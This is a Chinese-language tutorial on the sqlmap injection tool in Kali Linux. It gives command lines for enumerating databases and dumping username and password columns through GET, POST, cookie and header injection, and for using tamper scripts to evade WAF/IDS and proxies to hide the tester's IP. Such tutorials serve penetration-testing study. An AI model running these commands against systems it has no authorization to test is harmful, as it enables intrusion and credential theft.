安装kali,kali自带sqlmap,在window系统中跟linux系统操作有区别
sqlmap是一款自动化SQL工具,打开kali终端,输入sqlmap,出现以下界面,就说明sqlmap可用。
sqlmap确定目标
一、sqlmap直连数据库
1、直连数据库获得旗标
sqlmap -d "mysql://root:123456@192.168.137.111:3306/dbb7" -f --banner
说明:
- -d 或 --ds 参数用于指定数据库的连接字符串。
- mysql://:指定了数据库的类型是MySQL。
- root:123456:这是数据库的用户名和密码,分别是root和123456。
- @192.168.137.111:指定了数据库的服务器IP地址,这里是192.168.137.111。
- :3306:指定了数据库服务器的端口号,MySQL的默认端口是3306。
- /dbb7:指定了要连接的数据库名称,这里是dbb7。
- --banner:这个选项指示sqlmap尝试检索并显示数据库的版本信息(即“banner”)。这对于了解目标数据库的类型和版本非常有用,因为不同的数据库类型和版本可能有不同的漏洞和弱点。
2、直连数据库获取用户及权限
sqlmap -d "mysql://root:123456@192.168.137.111:3306/dbb7" -f --banner -users
二、sqlmap实操
1、sqlmap完整的get注入
sqlmap直接对单一的url探测,参数使用-u或者--url
- 1、检测注入点
sqlmap -u 'http://xx/?id=1'
- 2、查看所有数据库
sqlmap -u 'http://xx/?id=1' --dbs --batch
- 3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current -db --batch
- 4、查看表名
sqlmap -u 'http://xx/?id=1' -D 'security' --tables --batch
- 5、查看字段
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns --batch
- 6、查看数据
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump --batch
- 7、查看字段值
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump --batch
2、参数说明
指定数据库/表/字段
- -D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
- -T 指定目标「表」,单/双引号包裹,常配合其他参数使用。
- -C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。
如:sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
2、post请求
sqlmap探测post盲注
步骤一:获取http请求生成test.txt文件
步骤二:使用基于时间技术的sqlmap探测-r
如:sqlmap -r test.txt --technique T -p uname
检测post请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中。
-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。
如:sqlmap -r test.txt
3、cookie注入
--cookie 指定cookie的值,单/双引号包裹。
如:sqlmap -u "http://xx?id=x" --cookie 'cookie'
4、sqlmap进行http头注入
指定注入位置进行注入,在保存的文件中,对于参数的修改为*,保存在txt文档中
再进行sqlmap -r /root/test.txt
5、sqlmap tamper脚本注入
--tamper 指定绕过脚本,绕过WAF或ids等。
sqlmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下
如:sqlmap -u 'http://xx/?id=1' --tamper 'uppercase.py'
三、sqlmap其他参数
(1)常见参数
- --method=GET 指定请求方式(GET/POST)
- --random-agent 随机切换UA(User-Agent)
- --user-agent ' ' 使用自定义的UA(User-Agent)
- --referer ' ' 使用自定义的 referer
- --threads 10 设置线程数,最高10
(2)性能优化参数
- --keep-alive 设置持久连接,加快探测速度
- --null-connection 检索没有body响应的内容,多用于注
- --thread 最大为10 设置多线程
- -o开启所有默认性能优化
- -smart 快速判断,节约时间
- 设置延迟 --delay 时间。当页面无变化,布尔无真假,从来不报错时用延时注入
- 设置超时 --timeout 时间
- 设置重新连接次数--retries 次数
(3)等级参数
- --batch 自动选择yes。
- --level=1 执行测试的等级(1-5,默认为1,常用3)
- --risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
(4)代理参数
隐藏自己的真实ip
- --proxy http://ip: 端口
- --proxy -file 使用一个包含多条代理的文件中的代理